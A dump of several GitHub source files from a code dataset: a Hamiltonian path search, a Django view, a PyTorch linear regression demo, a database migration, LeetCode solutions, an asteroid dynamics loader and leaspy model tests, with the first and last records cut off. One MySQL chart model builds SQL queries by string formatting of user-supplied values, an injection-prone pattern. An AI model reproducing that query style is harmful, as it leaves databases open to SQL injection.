firstMatch:\n\t\t\tafter = next.index(f)\n\t\t\ta = next[after:]\n\t\t\ta.reverse()\n\t\t\tnewSolutions.append(a + next[:after])\n\t\t\n\t\tfor f in lastMatch:\n\t\t\tbefore = next.index(f)+1\n\t\t\ta = next[:before]\n\t\t\ta.reverse()\n\t\t\tnewSolutions.append(next[before:] + a)\n\t\t\n\t\tfor s in newSolutions:\n\t\t\tstringS = toString(s)\n\t\t\tif(stringS not in visited and stringS not in frontier):\n\t\t\t\tfrontier.add(stringS)\n\t\t\t\tyield s\n\t\t\t\t\n\traise StopIteration\n\n#Sometimes you can just stick n+1 to the end of a solution for n and your done.\n#\tThis is more effective when you can also generate \n#\tnew solutions a single one, and then check it with this.\n#\n#Because of how this method works, if a certain list for n has no solutions where n is\n#\ton either the first or last element, then this will fail to find a solution.\n#\tI'm fairly sure this only happens on 27,28, and 29. After that happens, this method\n#\tappears to always work\n#\n#It also looks 1 cut, reverse, and stitch ahead (method used in genPerm).\n#\tThis probably speeds things up maybe.\ndef findNext(lastSolList,squareGraph):\n\tn = max(lastSolList) + 1\n\t\n\tnEdges = squareGraph[n]\n\t\n\tfirst = lastSolList[0]\n\tlast = lastSolList[-1]\n\t\n\tsquares = []\n\ti = 1\n\twhile(i**2 <= 2*n):\n\t\tsquares.append(i**2)\n\t\ti += 1\n\t\n\t\n\t#Place at start or end if possible\n\tif(lastSolList[0] in nEdges):\n\t\treturn [n] + lastSolList\n\tif(lastSolList[-1] in nEdges):\n\t\treturn lastSolList + [n]\n\t\t\n\t#Find neighbors to edges, try stitching to end\n\tfor e in nEdges:\n\t\teIndex = lastSolList.index(e)\n\t\tbefore = lastSolList[eIndex - 1]\n\t\tafter = lastSolList[eIndex + 1]\n\t\t\n\t\tif((before+last) in squares):\n\t\t\ta = lastSolList[:eIndex]\n\t\t\ta.reverse()\n\t\t\treturn [n] + lastSolList[eIndex:] + a\n\t\t\t\n\t\tif((after+first) in squares):\n\t\t\ta = lastSolList[eIndex+1:]\n\t\t\ta.reverse()\n\t\t\treturn a + lastSolList[:eIndex+1] + [n]\n\treturn None\n\n#\n#ALL FUNCTIONS BELOW THIS POINT FOR ARE BRUTE FORCE METHOD\n#This is really only used between 1 and 30 when iterating solutions\n#\tby generating solutiosn and \"findNext\"ing them doesn't really work yet\n\t\n#Function to detect if graph is well connected\n#Poorly connected graphs cannot have a hamiltonian path by definition\ndef isStronglyConnected(graphDict):\n\tvisited = {}\n\tfrontier = {}\n\tcurrent = None\n\tret = True\n\t\n\t#Choose single node\n\tfor k in graphDict:\n\t\tcurrent = k\n\t\n\tvisited[current] = True\n\t\n\t#Add nodes to frontier\n\tfor v in graphDict[k]:\n\t\tfrontier[v] = True\n\t\t\n\twhile len(frontier) > 0:\n\t\t\n\t\t#Get any element from frontier\n\t\tfor k,v in frontier.items():\n\t\t\tcurrent = k\n\t\t\tbreak\n\t\t\n\t\t\n\t\t\t\n\t\tvisited[current] = True\n\t\tfor v in graphDict[current]:\n\t\t\t#Add egde to frontier if not yet added or visited\n\t\t\tif v not in visited and v not in frontier:\n\t\t\t\tfrontier[v] = True\n\t\t\t\t\n\t\t#Remove that element from frontier\n\t\tdel(frontier[current])\n\t\tif(current in frontier):\n\t\t\tprint(\"ERRRROR\")\n\t\n\t#Check that all nodes in the graph are also visited\n\tfor k in graphDict:\n\t\tif k not in visited:\n\t\t\tret = False\n\t\t\tbreak\n\t\t\t\n\treturn ret\n\n#Checks that no subgraph is disconnected from the main graph\n#Used as an early exit condition during a hamiltonian brute force\ndef isStronglyConnectedHamiltonian(graphDict,visitedHamiltonian,head,tail):\n\tvisited = {}\n\tfrontier = {}\n\tif(head != tail):\n\t\tfrontier[tail] = True\n\tcurrent = None\n\tret = True\n\t\n\tcurrent = head\n\t\n\tvisited[current] = True\n\t\n\t#Add nodes to frontier\n\tfor v in graphDict[current]:\n\t\tif(v not in visitedHamiltonian):\n\t\t\tfrontier[v] = True\n\t\t\n\twhile len(frontier) > 0:\n\t\t#Get any element from frontier\n\t\tfor k,v in frontier.items():\n\t\t\tcurrent = k\n\t\t\tbreak\n\t\t\t\n\t\tvisited[current] = True\n\t\tfor v in graphDict[current]:\n\t\t\t#Add egde to frontier if not yet added or visited\n\t\t\tif v not in visited and v not in frontier and v not in visitedHamiltonian:\n\t\t\t\tfrontier[v] = True\n\t\t\t\t\n\t\t#Remove that element from frontier\n\t\tdel(frontier[current])\n\t\n\t#Check that all nodes in the graph are also visited\n\tfor k in graphDict:\n\t\tif k not in visited and k not in visitedHamiltonian:\n\t\t\tret = False\n\t\t\tbreak\n\t\t\t\n\treturn ret\n\t\n\ndef hamiltonianBacktrack(graphDict):\n\t#Create ordered list from least connected nodes to most connected nodes\n\tvertices = []\n\tfor k in graphDict:\n\t\tvertices.append(k)\n\t\n\t#Order the verticies from least connected to most connected\n\t#\n\t#I suspect starting with the least connected nodes will increase the speed\n\t#\tof finding a solution, but I have no evidence for this claim\n\tvertices.sort(key=lambda x: len(graphDict[x]))\n\t\n\t#Identify which nodes are leaves\n\tleaves = []\n\tfor k in graphDict:\n\t\tif(len(graphDict[k]) == 1):\n\t\t\tleaves.append(k)\n\t\n\t#If leaves exist, only try starting from leaves\n\t#\tValid solutions must start and end with a leaf if\n\t#\tleaves are present\n\tif(len(leaves) > 0):\n\t\tfor v in leaves:\n\t\t\tr = hamiltonianBacktrackExt(graphDict,vertices,v,v,set([v]),[v])\n\t\t\tif(r[1]):\n\t\t\t\treturn r\n\telse:\n\t\t#otherwise, Try starting from every vertex instead\n\t\tfor v in vertices:\n\t\t\tr = hamiltonianBacktrackExt(graphDict,vertices,v,v,set([v]),[v])\n\t\t\tif(r[1]):\n\t\t\t\treturn r\n\t\n\t#Fail to solve\n\treturn (\"No path found\", False)\n\t\n\t\n\ndef hamiltonianBacktrackExt(graphDict,vertices,head,tail,visited,path):\n\t#print(head,tail,visited)\n\t\n\t#Check if done\n\tif(len(visited) == len(graphDict)):\n\t\treturn (path,True)\n\t\n\t#Check for graph connectivity\n\tif(not isStronglyConnectedHamiltonian(graphDict,visited,head,tail)):\n\t\treturn (\"Failed connectivity check\",False)\n\t\n\t#Check if head has any pathable nodes\n\tfor v in graphDict[head]:\n\t\tif v not in visited:\n\t\t\tnewVisited = set(visited)\n\t\t\tnewVisited.add(v)\n\t\t\tr = hamiltonianBacktrackExt(graphDict,vertices,v,tail,newVisited,path + [v])\n\t\t\tif(r[1]):\n\t\t\t\treturn r\n\t\t\t\t\n\t#Check if tail has any pathable nodes\n\tfor v in graphDict[tail]:\n\t\tif v not in visited:\n\t\t\tnewVisited = set(visited)\n\t\t\tnewVisited.add(v)\n\t\t\tr = hamiltonianBacktrackExt(graphDict,vertices,head,v,newVisited,[v] + path)\n\t\t\tif(r[1]):\n\t\t\t\treturn r\n\t\t\t\t\n\t#Fail to solve\n\treturn (\"No path found\",False)\n\t\n#Wrapper function for the hamiltonian path finding functions\n#Does some checks on the graph to determine solution impossibility faster\n#\n#The tuple return type for this is just horrible, but its used so little in the program\n#\tthat I don't even care anymore.\ndef hamiltonianPath(graphDict,lastSol):\n\tretMessage = \"No message was set\"\n\tretSuccess = None\n\t\n\t#Check Graph Connectivity Constraint\n\tif(not isStronglyConnected(graphDict)):\n\t\tretMessage = \"Graph is not strongly connected, no hamiltonian path exists\"\n\t\tretSucess = False\n\t\treturn (retMessage,retSuccess)\n\t\n\t\n\t#Check Leaf Constraint\n\tleafCount = 0\n\tfor k,v in graphDict.items():\n\t\tif(len(v) == 1):\n\t\t\tleafCount += 1\n\t\n\t#Fail on more than 2 leaves\n\tif(leafCount > 2):\n\t\tretMessage = \"Graph has \" + str(leafCount) + \" leaves which is more than 2, no hamiltonian path exists\"\n\t\tretSuccess = False\n\t\treturn (retMessage,retSuccess)\n\t\n\t#Try to solve fast with mutations if last sol is given\n\tif(type(lastSol) == type([])):\n\t\tm = findNext(lastSol,generateSquareGraph(max(lastSol)+1))\n\t\tif m is not None:\n\t\t\treturn (m,True)\n\t\n\t#Perform backtracking algorithm to brute force valid paths\n\tr = hamiltonianBacktrack(graphDict)\n\t\n\treturn r\n\n#Python meme\nif __name__ == \"__main__\":\n\tmain()","repo_name":"Stereo101/squareListFinder","sub_path":"hamiltonian.py","file_name":"hamiltonian.py","file_ext":"py","file_size_in_byte":10742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38024995987","text":"from django.shortcuts import get_object_or_404\nfrom django.template.response import TemplateResponse\n\nfrom core.consts.requests_consts import POST\nfrom core.forms import ApplicationAdditionalInformationForm\nfrom core.models import WebinarApplication\nfrom core.models.enums import WebinarApplicationStep\nfrom core.services import ApplicationFormService\n\n\ndef application_additional_information_page(request, uuid):\n \"\"\"Additional info form page\"\"\"\n template_name = \"geeks/pages/application/AdditionalInformationPage.html\"\n application = get_object_or_404(WebinarApplication, uuid=uuid)\n webinar = application.webinar\n state = ApplicationFormService(\n webinar, application, WebinarApplicationStep.ADDITIONAL_INFO\n )\n\n if request.method == POST:\n form = ApplicationAdditionalInformationForm(\n request.POST, instance=application\n )\n if form.is_valid():\n application = form.save()\n return state.get_next_step_redirect()\n else:\n form = ApplicationAdditionalInformationForm(instance=application)\n\n return TemplateResponse(\n request,\n template_name,\n {\"form\": form, **state.get_context()},\n )\n","repo_name":"rolzwy7/wykladowcav2","sub_path":"src/core/views/webinar_application/application_additional_information_page.py","file_name":"application_additional_information_page.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35397702574","text":"from typing import List, Tuple\nimport torch\nfrom torch import Tensor\nimport torch.nn as nn\nfrom torch.utils.data import TensorDataset, DataLoader\n\"\"\"\n线性回归简洁实现\n\n说明:\nhttps://tech.foxrelax.com/basic/linear_regression_concise/\n\"\"\"\n\n\ndef synthetic_data(w: Tensor,\n b: Tensor,\n num_examples: int = 1000) -> Tuple[Tensor, Tensor]:\n \"\"\"\n 生成: y=Xw+b+噪声\n\n >>> num_examples = 1000\n >>> true_w = torch.tensor([2, -3.4])\n >>> true_b = 4.2\n >>> features, labels = synthetic_data(true_w, true_b, num_examples)\n >>> assert features.shape == (num_examples, 2)\n >>> assert labels.shape == (num_examples, 1)\n \"\"\"\n X = torch.normal(0, 1, (num_examples, len(w)))\n y = torch.matmul(X, w) + b\n y += torch.normal(0, 0.01, y.shape)\n\n # X.shape [num_examples, num_features]\n # y.shape [num_examples, 1]\n return X, y.reshape((-1, 1))\n\n\ndef load_array(data_arrays: List[Tensor],\n batch_size: int,\n is_train: bool = True) -> DataLoader:\n \"\"\"\n 构造一个PyTorch数据迭代器\n\n >>> num_examples = 1000\n >>> true_w = torch.tensor([2, -3.4])\n >>> true_b = 4.2\n >>> features, labels = synthetic_data(true_w, true_b, num_examples)\n >>> batch_size = 10\n >>> for X, y in load_array((features, labels), batch_size):\n >>> assert X.shape == (batch_size, 2)\n >>> assert y.shape == (batch_size, 1)\n >>> break\n \"\"\"\n dataset = TensorDataset(*data_arrays)\n return DataLoader(dataset, batch_size, shuffle=is_train)\n\n\ndef linreg() -> nn.Module:\n \"\"\"\n 线性回归模型\n\n 指定每个权重参数应该从均值为0、标准差为0.01的正态分布中随机采样, \n 偏置参数将初始化为零\n \"\"\"\n net = nn.Sequential(nn.Linear(2, 1))\n net[0].weight.data.normal_(0, 0.01)\n net[0].bias.data.fill_(0)\n return net\n\n\ndef train(true_w: Tensor, true_b: Tensor) -> Tuple[Tensor, Tensor]:\n \"\"\"\n 训练\n \"\"\"\n num_epochs, lr, batch_size = 3, 0.03, 10\n net = linreg()\n loss = nn.MSELoss(reduction='mean')\n trainer = torch.optim.SGD(net.parameters(), lr=lr)\n features, labels = synthetic_data(true_w, true_b, 1000)\n for epoch in range(num_epochs):\n for X, y in load_array((features, labels), batch_size):\n l = loss(net(X), y)\n trainer.zero_grad()\n l.backward()\n trainer.step()\n l = loss(net(features), labels)\n print(f'epoch {epoch + 1}, loss {l:f}')\n w = net[0].weight.data\n b = net[0].bias.data\n return w.reshape(-1), b\n\n\nif __name__ == '__main__':\n true_w = torch.tensor([2, -3.4])\n true_b = 4.2\n w, b = train(true_w, true_b)\n print('true_w={}, true_b={}'.format(true_w.detach().numpy(), true_b))\n print('w={}, b={}'.format(w.detach().numpy(), b.detach().numpy()))\n# 输出:\n# epoch 1, loss 0.000221\n# epoch 2, loss 0.000090\n# epoch 3, loss 0.000091\n# true_w=[ 2. -3.4], true_b=4.2\n# w=[ 2.0001764 -3.400615 ], b=[4.1996145]","repo_name":"relaxdl/relaxml","sub_path":"relaxml/pytorch/basic/linear_regression_concise.py","file_name":"linear_regression_concise.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72731030800","text":"from openupgradelib import openupgrade\n\n\n@openupgrade.migrate(use_env=True)\ndef migrate(env, version):\n if not openupgrade.table_exists(env.cr, 'account_followup_followup'):\n # This is not coming from account_followup migration\n return\n # Remove no update rules that no longer applies\n env.ref('account_credit_control.account_followup_comp_rule').unlink()\n env.ref(\n 'account_credit_control.account_followup_stat_by_partner_comp_rule'\n ).unlink()\n","repo_name":"kingsleyuk2003/ODEX","sub_path":"addons/account_credit_control/migrations/9.0.1.0.0/pre-migrate.py","file_name":"pre-migrate.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23404300000","text":"from typing import List\r\n\r\nclass Solution:\r\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\r\n # [2,7,11,15]\r\n # Two pointers solution. getting it in O(n)\r\n l, r = 0, len(numbers)-1 # left and right pointers\r\n\r\n while l < r:\r\n current_sum = numbers[l] + numbers[r]\r\n if current_sum > target:\r\n r -= 1\r\n elif current_sum < target:\r\n l += 1\r\n else:\r\n return l+1, r+1\r\n\r\n \r\n \r\n\r\n\r\ns = Solution()\r\nnumbers = [2,7,11,15]\r\ntarget = 9\r\nprint(s.twoSum(numbers, target))","repo_name":"moidshaikh/hackerranksols","sub_path":"leetcode/lc167_two_sum_II_input_array_is_sorted.py","file_name":"lc167_two_sum_II_input_array_is_sorted.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"9032261986","text":"import logging\nimport json\nfrom datetime import datetime\nimport pymysql\n\n\nclass GraficoModel(object):\n\n def __init__(self):\n\n with open('config.json') as f:\n conf = json.load(f)\n\n self.host = conf['mysql']['host']\n self.port = conf['mysql']['port']\n self.user = conf['mysql']['user']\n self.schema = conf['mysql']['schema']\n self.bank_pass = conf['mysql']['bank_pass']\n\n self.con = pymysql.connect(host=self.host, port=self.port, user=self.user, passwd=self.bank_pass)\n self.cur = self.con.cursor()\n self.cur.execute(\"USE \" + self.schema)\n\n logging.basicConfig(level=logging.DEBUG, format='%(asctime)s-%(levelname)s-%(message)s')\n logging.info('Construtor do GraficoModel chamado com sucesso\\n')\n logging.disable(logging.DEBUG)\n\n def __del__(self):\n self.cur.close()\n self.con.close()\n\n def get_tributacao(self, tributacao1, tributacao2, tributacao3, user_id):\n result = []\n try:\n self.cur.execute(\n \"SELECT COUNT(e.id) FROM empresas e WHERE e.tributacao = '{}' AND e.id_responsavel = '{}' AND e.status = 'Ativo';\".format(\n tributacao1, user_id))\n result += self.cur.fetchone()\n self.cur.execute(\n \"SELECT COUNT(e.id) FROM empresas e WHERE e.tributacao = '{}' AND e.id_responsavel = '{}' AND e.status = 'Ativo';\".format(\n tributacao2, user_id))\n result += self.cur.fetchone()\n self.cur.execute(\n \"SELECT COUNT(e.id) FROM empresas e WHERE e.tributacao = '{}' AND e.id_responsavel = '{}' AND e.status = 'Ativo';\".format(\n tributacao3, user_id))\n result += self.cur.fetchone()\n return result\n except Exception as e:\n logging.error('Erro em GraficoModel, método get_pizza: ' + str(e) + '\\n')\n\n def get_ocorrencias(self, user_id):\n result = []\n try:\n self.cur.execute(\n \"SELECT COUNT(eo.id_empresa) FROM empresas_ocorrencias eo WHERE eo.responsavel = '{}' AND eo.status = 'Aberto';\".format(\n user_id))\n result += self.cur.fetchone()\n self.cur.execute(\n \"SELECT COUNT(eo.id_empresa) FROM empresas_ocorrencias eo WHERE eo.responsavel = '{}' AND eo.status = 'Fechado';\".format(\n user_id))\n result += self.cur.fetchone()\n self.cur.execute(\n \"SELECT COUNT(eo.id_empresa) FROM empresas_ocorrencias eo WHERE eo.responsavel = '{}' AND eo.status = 'Andamento';\".format(\n user_id))\n result += self.cur.fetchone()\n return result\n except Exception as e:\n logging.error('Erro em GraficoModel, método get_pizza: ' + str(e) + '\\n')\n\n def get_cobrancas(self, tipo):\n now = datetime.now()\n ano = now.strftime('%Y')\n result = []\n try:\n for i in range(1, 13):\n self.cur.execute(\n \"SELECT COUNT(c.tipo_cobranca ) FROM cobrancas c WHERE DATE_FORMAT(c.data, '%m') = {} AND DATE_FORMAT(c.created, '%Y') = {} AND c.tipo_cobranca = '{}' \".format(\n i, ano, tipo))\n result += self.cur.fetchone()\n\n return result\n except Exception as e:\n logging.error('Erro em GraficoModel, método get_pizza: ' + str(e) + '\\n')\n\n def get_numero_empresas(self, user_id):\n result = []\n try:\n self.cur.execute(\n \"SELECT COUNT(e.id) FROM empresas e WHERE e.id_responsavel = '{}' AND e.status = 'Ativo';\".format(\n user_id))\n result += self.cur.fetchone()\n self.cur.execute(\n \"SELECT COUNT(e.id) FROM empresas e WHERE e.status = 'Ativo';\".format(user_id))\n result += self.cur.fetchone()\n return result\n except Exception as e:\n logging.error('Erro em GraficoModel, método get_numero_empresas: ' + str(e) + '\\n')\n\n\n def get_levyings_sum(self, mes):\n try:\n self.cur.execute(\"SELECT SUM(c.valor) FROM cobrancas c WHERE MONTH(c.updated) = '{}' AND c.status='Ativo';\".format(mes))\n result = self.cur.fetchone()\n return result\n except Exception as e:\n logging.error('Erro em FinanceiroModel, método get_levyings_sum, flag == 0: ' + str(e) + '\\n')\n\n","repo_name":"HenriqueBraz/app_flask","sub_path":"app/models/graficos_model.py","file_name":"graficos_model.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22560801916","text":"#Algoritmo de genere un arreglo con los números de 1 a n\r\n\r\nimport random\r\n\r\ndef rellena(talla): \r\n valores = [] #O(1) Se inicializa una lista vacia\r\n for i in range(1,talla+1): #O(n) Ciclo for para generar el arreglo ordenado de 1 a n\r\n valores.append(i) #O(1) valores=[1,2,3,...n]\r\n random.shuffle(valores) #O(1) Función para desordenarlos de forma aleatoria\r\n return valores #O(1) \r\n \r\n #Por lo tanto T(n)=O(n)\r\n\r\ntalla=int(input(\"Ingrese la talla (longitud) del arreglo: \"))\r\nvector=rellena(talla)\r\nprint(\"El vector es: \",vector)","repo_name":"alvarohqr/Algorithms","sub_path":"createArray.py","file_name":"createArray.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7687132943","text":"import scipy.integrate as integ\r\nimport scipy.io as io\r\n# import matplotlib.pyplot as plots\r\n# from mpl_toolkits.mplot3d import Axes3D\r\n# import matplotlib.tri as mtri\r\n# from matplotlib import animation\r\nimport numpy as np\r\nimport random as rnd\r\nfrom numpy import linalg as la\r\nfrom numpy import math as ma\r\nimport subprocess\r\nimport datetime\r\n\r\ndef read_bench(filep,files):# filep is parameters file, files is states file both in Fahnestock format\r\n\t# fin=open(filep,'r')#load parameters files\r\n\t# params = fin.readline()\r\n\t# params = map(float, params.strip().split(' '))\r\n\t# fin.close()\r\n\tparams = np.genfromtxt(filep) #added by hagrusa\r\n\r\n\trhoA=params[0]*1000.**3#get density - convert from kg/m3 to kg/km3\r\n\trhoB=params[1]*1000.**3\r\n\tIA=np.array(params[4:13])# get inertias\r\n\tIB=np.array(params[13:22])\r\n\tIA=np.reshape(IA,[3,3])\r\n\tIB=np.reshape(IB,[3,3])\r\n\tMc=params[22]#primary mass\r\n\tMs=params[23]#secondary mass\r\n\tm=params[24]#mass ratio\r\n\tG=params[31]/(1000.**3)#gravity constant\r\n\r\n\t# fin=open(files,'r')\r\n\t# states = fin.readline()#load states files\r\n\t# states = map(float, states.strip().split(' '))\r\n\t# fin.close()\r\n\tstates = np.genfromtxt(files) #added by hagrusa\r\n\t\r\n\tr0=np.array(states[0:3])/1000.#rel pos in A - m to km\r\n\tv0=np.array(states[3:6])/m/1000.# rel vel in A - m to km\r\n\twc0=np.dot(la.inv(IA),np.array([states[6:9]]).T)# get primary ang vel in A\r\n\tC0=states[12:21]# get rotation from B to A - this is wrapped by row\r\n\tCc0=states[21:30]# get rotation from A to N - this is wrapped by column so in x0 below must reorder to wrapping by column\r\n\tws0=np.dot(np.reshape(np.array([C0]),[3,3]),np.dot(la.inv(IB),np.dot(np.reshape(np.array([C0]),[3,3]).T,np.array([states[9:12]]).T)))\r\n\t# ws0=np.dot(np.reshape(np.array([C0]),[3,3]),np.array([params[28:31]]).T)# get ang vel in A and convert to B\r\n\r\n\tx0=[r0[0],r0[1],r0[2],v0[0],v0[1],v0[2],wc0[0,0],wc0[1,0],wc0[2,0],ws0[0,0],ws0[1,0],ws0[2,0],\\\r\n\tCc0[0],Cc0[3],Cc0[6],Cc0[1],Cc0[4],Cc0[7],Cc0[2],Cc0[5],Cc0[8],\\\r\n\tC0[0],C0[1],C0[2],C0[3],C0[4],C0[5],C0[6],C0[7],C0[8]]# order states into this method's state ordering\r\n\treturn(G,rhoA,rhoB,x0)\r\n","repo_name":"meyeralexj/gubas","sub_path":"benchmark_funcs.py","file_name":"benchmark_funcs.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"19810992532","text":"import unittest\n\nimport pandas as pd\nimport torch\n\nfrom leaspy import AlgorithmSettings, Data, Leaspy\nfrom leaspy.models.abstract_model import AbstractModel\nfrom leaspy.models.model_factory import ModelFactory\n\nfrom tests import example_data_path\nfrom tests import binary_data_path\nfrom tests import example_logisticmodel_path\n\n\nclass AbstractModelTest(unittest.TestCase):\n\n def test_abstract_model_constructor(self):\n \"\"\"\n Test initialization of abstract model class object.\n \"\"\"\n print(\"\\nUnit-test AbstractModel\\n\")\n\n model = AbstractModel(\"dummy_abstractmodel\")\n self.assertFalse(model.is_initialized)\n self.assertEqual(model.name, \"dummy_abstractmodel\")\n self.assertEqual(model.parameters, None)\n self.assertEqual(type(model.distribution), torch.distributions.normal.Normal)\n\n # Test the presence of all these essential methods\n main_methods = ['load_parameters', 'get_individual_variable_name', 'compute_sum_squared_tensorized',\n 'compute_individual_attachment_tensorized_mcmc', 'compute_individual_attachment_tensorized',\n 'update_model_parameters', 'update_model_parameters_burn_in',\n 'get_population_realization_names', 'get_individual_realization_names',\n 'compute_regularity_realization', 'compute_regularity_variable', 'get_realization_object']\n\n present_attributes = [_ for _ in dir(model) if _[:2] != '__'] # Get the present method\n\n for attribute in main_methods:\n self.assertTrue(attribute in present_attributes)\n # TODO: use python's hasattr and issubclass\n\n def test_load_parameters(self):\n \"\"\"\n Test the method load_parameters.\n \"\"\"\n leaspy_object = Leaspy.load(example_logisticmodel_path)\n\n abstract_model = AbstractModel(\"dummy_model\")\n\n abstract_model.load_parameters(leaspy_object.model.parameters)\n\n self.assertTrue(torch.equal(abstract_model.parameters['g'],\n torch.tensor([1.8669992685317993, 2.4921786785125732,\n 2.471605062484741, 2.1240732669830322])))\n self.assertTrue(torch.equal(abstract_model.parameters['v0'],\n torch.tensor([-2.8300716876983643, -3.3241398334503174,\n -3.4701175689697266, -2.6136295795440674])))\n self.assertTrue(torch.equal(abstract_model.parameters['betas'],\n torch.tensor([[0.011530596762895584, 0.06039918214082718],\n [0.008324957452714443, 0.048168670386075974],\n [0.01144738681614399, 0.0822334811091423]])))\n self.assertTrue(torch.equal(abstract_model.parameters['tau_mean'], torch.tensor(75.30111694335938)))\n self.assertTrue(torch.equal(abstract_model.parameters['tau_std'], torch.tensor(7.103002071380615)))\n self.assertTrue(torch.equal(abstract_model.parameters['xi_mean'], torch.tensor(0.0)))\n self.assertTrue(torch.equal(abstract_model.parameters['xi_std'], torch.tensor(0.2835913300514221)))\n self.assertTrue(torch.equal(abstract_model.parameters['sources_mean'], torch.tensor(0.0)))\n self.assertTrue(torch.equal(abstract_model.parameters['sources_std'], torch.tensor(1.0)))\n self.assertTrue(torch.equal(abstract_model.parameters['noise_std'], torch.tensor(0.1988248974084854)))\n\n def test_all_model_run(self):\n \"\"\"\n Check if the following models run with the following algorithms.\n \"\"\"\n for model_name in ('linear', 'univariate', 'logistic', 'logistic_parallel'):\n logistic_leaspy = Leaspy(model_name)\n settings = AlgorithmSettings('mcmc_saem', n_iter=200, seed=0)\n\n df = pd.read_csv(example_data_path)\n if model_name == 'univariate':\n df = df.iloc[:, :3]\n data = Data.from_dataframe(df)\n\n logistic_leaspy.fit(data, settings)\n\n for method in ('mode_real', 'mean_real', 'scipy_minimize', 'gradient_descent_personalize'):\n burn_in_kw = dict() # not for all algos\n if '_real' in method:\n burn_in_kw = dict(n_burn_in_iter=90, )\n settings = AlgorithmSettings(method, n_iter=100, seed=0, **burn_in_kw)\n logistic_result = logistic_leaspy.personalize(data, settings)\n\n def test_all_model_run_crossentropy(self):\n \"\"\"\n Check if the following models run with the following algorithms.\n \"\"\"\n for model_name in ('linear', 'univariate', 'logistic', 'logistic_parallel'):\n logistic_leaspy = Leaspy(model_name)\n settings = AlgorithmSettings('mcmc_saem', n_iter=200, seed=0, loss=\"crossentropy\")\n\n df = pd.read_csv(binary_data_path)\n if model_name == 'univariate':\n df = df.iloc[:, :3]\n data = Data.from_dataframe(df)\n\n logistic_leaspy.fit(data, settings)\n\n for method in ['scipy_minimize']:\n burn_in_kw = dict() # not for all algos\n if '_real' in method:\n burn_in_kw = dict(n_burn_in_iter=90, )\n settings = AlgorithmSettings(method, n_iter=100, seed=0, loss=\"crossentropy\", **burn_in_kw)\n logistic_result = logistic_leaspy.personalize(data, settings)\n\n def test_tensorize_2D(self):\n\n t5 = torch.tensor([[5]],dtype=torch.float32)\n\n for x, unsqueeze_dim, expected_out in zip([\n [1,2], [1,2], 5, 5, [5], [5]\n ], [0,-1,0,-1,0,-1], [\n torch.tensor([[1,2]],dtype=torch.float32),\n torch.tensor([[1],[2]],dtype=torch.float32),\n t5, t5, t5, t5\n ]):\n self.assertTrue(torch.equal(\n AbstractModel._tensorize_2D(x,unsqueeze_dim=unsqueeze_dim),\n expected_out\n ))\n\n def test_audit_individual_parameters(self):\n\n # tuple: (valid,nb_inds,src_dim), ips_as_dict\n all_ips = [\n # 0 individual\n ((True, 0, 0), {'tau':[],'xi':[]}),\n ((True, 0, 5), {'tau':[],'xi':[],'sources':[]}), # src_dim undefined here...\n\n # 1 individual\n ((True, 1, 0), {'tau':50,'xi':0,}),\n ((False, 1, 1), {'tau':50,'xi':0,'sources':0}), # faulty (source should be vector)\n ((True, 1, 1), {'tau':50,'xi':0,'sources':[0]}),\n ((True, 1, 2), {'tau':50,'xi':0,'sources':[0,0]}),\n\n # 2 individuals\n ((True, 2, 0), {'tau':[50,60],'xi':[0,0.1],}),\n ((True, 2, 1), {'tau':[50,60],'xi':[0,0.1],'sources':[0,0.1]}), # accepted even if ambiguous\n ((True, 2, 1), {'tau':[50,60],'xi':[0,0.1],'sources':[[0],[0.1]]}), # cleaner\n ((True, 2, 2), {'tau':[50,60],'xi':[0,0.1],'sources':[[0,-1],[0.1,0]]}),\n\n # Faulty\n ((False, 1, 0), {'tau':0,'xi':0,'extra':0}),\n ((False, 1, 0), {'tau':0,}),\n ((False, None, 0), {'tau':[50,60],'xi':[0]}),\n ]\n\n for src_compat, m in [\n (lambda src_dim: src_dim <= 0, ModelFactory.model('univariate')),\n (lambda src_dim: src_dim >= 0, ModelFactory.model('logistic'))\n ]:\n\n for (valid,n_inds,src_dim), ips in all_ips:\n\n if m.name == 'logistic':\n m.source_dimension = src_dim\n\n if (not valid) or (not src_compat(src_dim)):\n with self.assertRaises(ValueError, ):\n ips_info = m.audit_individual_parameters(ips)\n continue\n\n ips_info = m.audit_individual_parameters(ips)\n\n keys = set(ips_info.keys()).symmetric_difference({'nb_inds','tensorized_ips','tensorized_ips_gen'})\n self.assertEqual(len(keys), 0)\n\n self.assertEqual(ips_info['nb_inds'], n_inds)\n\n list_t_ips = list(ips_info['tensorized_ips_gen'])\n self.assertEqual(len(list_t_ips), n_inds)\n\n t_ips = ips_info['tensorized_ips']\n self.assertIsInstance(t_ips, dict)\n keys_ips = set(t_ips.keys()).symmetric_difference(ips.keys())\n self.assertEqual(len(keys_ips), 0)\n\n for k,v in t_ips.items():\n self.assertIsInstance(v, torch.Tensor)\n self.assertEqual(v.dim(), 2)\n self.assertEqual(v.shape, (n_inds, src_dim if (k == 'sources') and (n_inds > 0) else 1))\n\n if n_inds == 1:\n t_ips0 = list_t_ips[0]\n self.assertTrue(all(torch.equal(t_ips0[k], v) for k,v in t_ips.items())) # because only 1 individual\n elif n_inds > 1:\n for t_ips_1i in list_t_ips:\n for k,v in t_ips_1i.items():\n self.assertIsInstance(v, torch.Tensor)\n self.assertEqual(v.dim(), 2)\n self.assertEqual(v.shape, (1, src_dim if (k == 'sources') else 